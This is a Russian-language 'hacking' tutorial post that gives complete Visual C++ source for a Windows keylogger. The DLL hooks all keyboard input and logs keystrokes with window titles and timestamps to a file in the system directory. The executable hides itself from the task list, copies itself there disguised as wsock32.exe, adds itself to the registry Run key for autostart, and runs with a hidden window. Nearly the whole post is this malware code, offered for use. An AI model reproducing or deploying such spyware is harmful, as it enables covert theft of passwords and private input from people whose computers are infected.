Пример создания кейлоггера [Visual C++]

Пример создания кейлоггера [Visual C++]

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Сейчас мы будем писать кейлоггер на Visual C++. В данном примере будут использоваться апшные функции, так что, можно переписать на Delphi, если кому-то захочется, то можно и на Асме:). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой программы исполнительного файла(exe).

И так, вот исходники дополнительной dll ks.dll:

#include "stdafx.h"
#include "ks.h"

HANDLE hmod;

HHOOK khook;

HFILE LogFile;

char LogFileName[256] = «ks.txt»;//название лог-файла

char FullLogFile[256] = «»;

char BufStr0[19] = «»;

char BufStr1[200] = «»;

char BufStr2[256] = «»;

char OldAct[1024] = «»;

LPSTR ActWin()//поца для определения активного окна

{

LPSTR ActW = new TCHAR[1024];

SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);

return ActW;

};

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{ //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его

GetSystemDirectory(FullLogFile,256);

strcat(FullLogFile,»\\»);

strcat(FullLogFile,LogFileName);

LogFile = _lopen(FullLogFile,OF_WRITE);

if (LogFile == 4294967295)

{

LogFile = _lcreat(FullLogFile,4);

};

_lclose(LogFile);

hmod = hModule;

return TRUE;

}

LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam)

{

if (nCode == HC_ACTION && !(lParam & 0x80000000))

{

//если нажата клавиша, то

GetKeyNameText(lParam,BufStr0,19);

//если пользователь не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk

char *Active = ActWin();

if (strcmp(OldAct,Active) !=0)

{

strcpy(BufStr1,»\nActive Window(TITLE) «);

strcat(BufStr1,Active);

strcat(BufStr1,»\n»);

//вместе с датой и временем

char DateStr0[256] = «dd.MM.yyyy»;

char TimeStr1[256] = «hh : mm : ss»;

char DateStr1[256] = «»;

GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));

strcat(BufStr1,»[«);

strcat(BufStr1,DateStr1);

strcat(BufStr1,»] «);

GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));

strcat(BufStr1,» «);

strcat(BufStr1,DateStr1);

strcat(BufStr1,» \n»);

strcat(BufStr1,»—————————————————\n»);

strcpy(OldAct,Active);

};

//пишем название нажатой клавиши

strcpy(BufStr2,» «);

strcat(BufStr1,BufStr2);

strcat(BufStr1,BufStr0);

LogFile = _lopen(FullLogFile,OF_WRITE);

_llseek(LogFile,0,FILE_END);

_lwrite(LogFile,BufStr1,lstrlen(BufStr1));

_lclose(LogFile);

strcpy(BufStr1,»»);

};

return CallNextHookEx(khook,nCode,wParam,lParam);

};

//процедура для установки хука

void HksInit()

{

khook = SetWindowsHookEx(WH_KEYBOARD,

HksKeyProc,

(HINSTANCE)hmod,

NULL);

};

//процедура для закрытия хука

void HksClose()

{

UnhookWindowsHookEx(khook);

};

Теперь нужно написать ks.h:

#ifndef KS_H

#define KS_H

#include

#include

#ifdef __DLL__

#define DLL_EI __declspec(dllexport)

#else

#define DLL_EI __declspec(dllimport)

#endif

//—————————————————————————

extern «C» {

LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);

void DLL_EI HksInit();

void DLL_EI HksClose();

};

//—————————————————————————

#endif

Теперь создаем еще один проект для главного exe-шника. Кидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7)).

Вот листинг hks.cpp:

#include «stdafx.h»

#include «ks.h»

char szClassName[256] = «hKs10»;

char szAppName[256] = «hKsv10»;

typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);

//проца чтобы спрятать от Ctrl+Alt+Del

bool RSP(double p1, double p2)

{

PREGISTERSERVICEPROCESS rsp;

HINSTANCE hK32;

bool Rc=false;

hK32=GetModuleHandle(«kernel32.dll»);

if(hK32!=NULL) {

rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, «RegisterServiceProcess»);

if(rsp!=NULL) {

Rc=true;

rsp(p1,p2);

}

FreeLibrary(hK32);

}

return Rc;

}

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

//прячем от 3x клавиш

if(FindWindow(NULL,szAppName)) PostQuitMessage(1);

RSP(NULL,1);

//копируем ex-шник и дополнительную dll в %winsysdir%

char szValue [256] = «wsock32.exe»;

HKEY pKey;

//прописываемся в автостарте

RegCreateKey(HKEY_LOCAL_MACHINE,»Software\\Microsoft\\Windows\\CurrentVersion\\Run»,&pKey);

RegSetValueEx(pKey,»wsock32″,NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);

char WinDir[256] = «»;

GetSystemDirectory(WinDir,sizeof(WinDir));

strcat(WinDir,»\\»);

strcat(WinDir,szValue);

LPSTR lpFile = new TCHAR[256];

GetModuleFileName(NULL,lpFile,200);

CopyFile(lpFile,WinDir,FALSE);

GetSystemDirectory(WinDir,sizeof(WinDir));

strcat(WinDir,»\\ks.dll»);

CopyFile(«ks.dll»,WinDir,FALSE);

//пишем дату записи в файл

char BufStr1[6666] = «»;

char DateStr0[256] = «dd.MM.yyyy»;

char TimeStr1[256] = «hh : mm : ss»;

char DateStr1[256] = «»;

GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));

strcpy(BufStr1,»\n—————————————————\n»);

strcat(BufStr1,» Write to file: [«);

strcat(BufStr1,DateStr1);

strcat(BufStr1,»] «);

GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));

strcat(BufStr1,» «);

strcat(BufStr1,DateStr1);

strcat(BufStr1,»\n»);

char LogFile[256]= «»;

GetSystemDirectory(LogFile,256);

strcat(LogFile,»\\ks.txt»);

HFILE Log1 = _lopen(LogFile,OF_WRITE);

_lwrite(Log1,BufStr1,lstrlen(BufStr1));

_lclose(Log1);

HksInit();

HWND hwnd;

MSG msg;

WNDCLASS wc;

wc.style = 0;

wc.lpfnWndProc = WndProc;

wc.cbClsExtra = 0;

wc.cbWndExtra = 0;

wc.lpszClassName = szClassName;

wc.lpszMenuName = NULL;

wc.hInstance = hInstance;

wc.hCursor = LoadCursor(NULL,IDC_ARROW);

wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);

wc.hbrBackground = (HBRUSH) COLOR_WINDOW;

RegisterClass(&wc);

hwnd = CreateWindow(szClassName,

szAppName,

WS_OVERLAPPEDWINDOW,

2,

10,

70,

100,

NULL,

NULL,

hInstance,

NULL);

ShowWindow(hwnd,SW_HIDE);

UpdateWindow(hwnd);

//обрабатываем сообщения

while (GetMessage(&msg,NULL,0,0)) {

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return 0;

}

LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)

{

switch (iMsg)

{

case WM_CREATE:return 1;break;

case WM_DESTROY:

HksClose();

PostQuitMessage(1);

break;

};

return DefWindowProc(hwnd,iMsg,wParam,lParam);

};

Всё. Теперь это все можно запустить и прога скопирует себя B winsir\sysdir wsock32.exe и доп dll в windir\sysdir ks.dll.

Report Page